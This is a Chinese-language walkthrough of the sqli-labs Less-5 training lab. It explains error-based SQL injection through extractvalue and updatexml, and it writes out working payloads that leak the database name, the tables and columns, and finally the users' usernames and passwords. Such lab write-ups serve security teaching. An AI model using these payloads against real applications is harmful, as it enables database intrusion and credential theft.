Less-5(GET-Double injection-Single Quotes-String)
打開Less-5頁面,可以看到頁面中間有一句Please input the ID as parameter with numeric value,那么先使用ID這個引數通過GET方式傳入一個數值,

確定注入點
注入陳述句:?id=1,

從上圖可以看出傳入id=1并沒有回顯查詢結果,接著試一下?id=1',發現在引號附近產生歧義導致了報錯,并且通過報錯資訊可以看出閉合SQL陳述句時用的是單引號,
由于這里不回顯查詢結果,但是依然會顯示報錯資訊,那么就不使用聯合注入,而選擇報錯注入,

使用注入陳述句:?id=1' --+看看是否能夠正常閉合并注釋,從下圖看出是沒有問題的,

關于報錯注入:
報錯注入主要使用xpath語法錯誤來進行報錯注入,主要利用extractvalue和updatexml兩個函式,使用條件:·mysql版本>5.1.5,
-
extractvalue函式
正常語法:extractvalue(目標xml檔案,xml路徑);
第一個引數是string格式,為xml檔案物件的名稱,
第二個引數是xpath格式的字串,要求符合xpath語法的字串,如果不滿足要求,則會報錯,為了方便開發人員除錯會將報錯資訊放在查詢結果中,
作用:從目標xml中回傳包含所查詢值的字串,
常見用法:id=" and(select extractvalue("anything",concat('~',(注入陳述句)))),其中~也可以寫成其ASCII碼0x7e或者換成#、$等不滿足xpath格式的字符,
注意:extractvalue()能查詢字串的最大長度為32,如果我們想要的結果超過32,就要用substring()函式截取或limit分頁,一次查看最多32位,例:substring(name,5,3)截取name這個欄位 從第5個字符開始 截取之后的3個字符, -
updatexml函式
正常語法:updatexml(目標xml檔案,xml路徑,更新的內容);
第一個引數是XML的內容
第二個引數是需要update的位置XPATH路徑
第三個引數是更新后的內容
和extractvalue()相同的是都是對第二個引數進行操作的,通過構造非法格式的查詢陳述句,來使其回傳錯誤的資訊,并將其更新出來,第一個引數和第三個引數可以隨便寫,
常見用法:id='and(select updatexml("anything",concat('~',(注入陳述句())),"anything"))
確定當前資料庫名
注入陳述句:?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+,其中,concat函式用于連接兩個字串,形成一個字串,concat('a','b')='ab',這樣當爆出多個資訊時,可以通過~進行分割,

從報錯資訊中可以看出,當前資料庫為security,
確定資料庫中的資料表
注入陳述句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+

確定users表中的列名
注入陳述句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+

通過上述注入可以得知users表中存在三列,分別為id、username、password,
確定users表中的用戶名和密碼
注入陳述句:?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+

從上圖可以看出,爆出的賬號密碼長度超出了32,所以需要繼續使用substring()函式每隔32位截取一次,最終拼湊出全部內容,
至此,就得到了當前表中所有的用戶名和密碼,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/504441.html
標籤:其他
上一篇:【二分查找】演算法
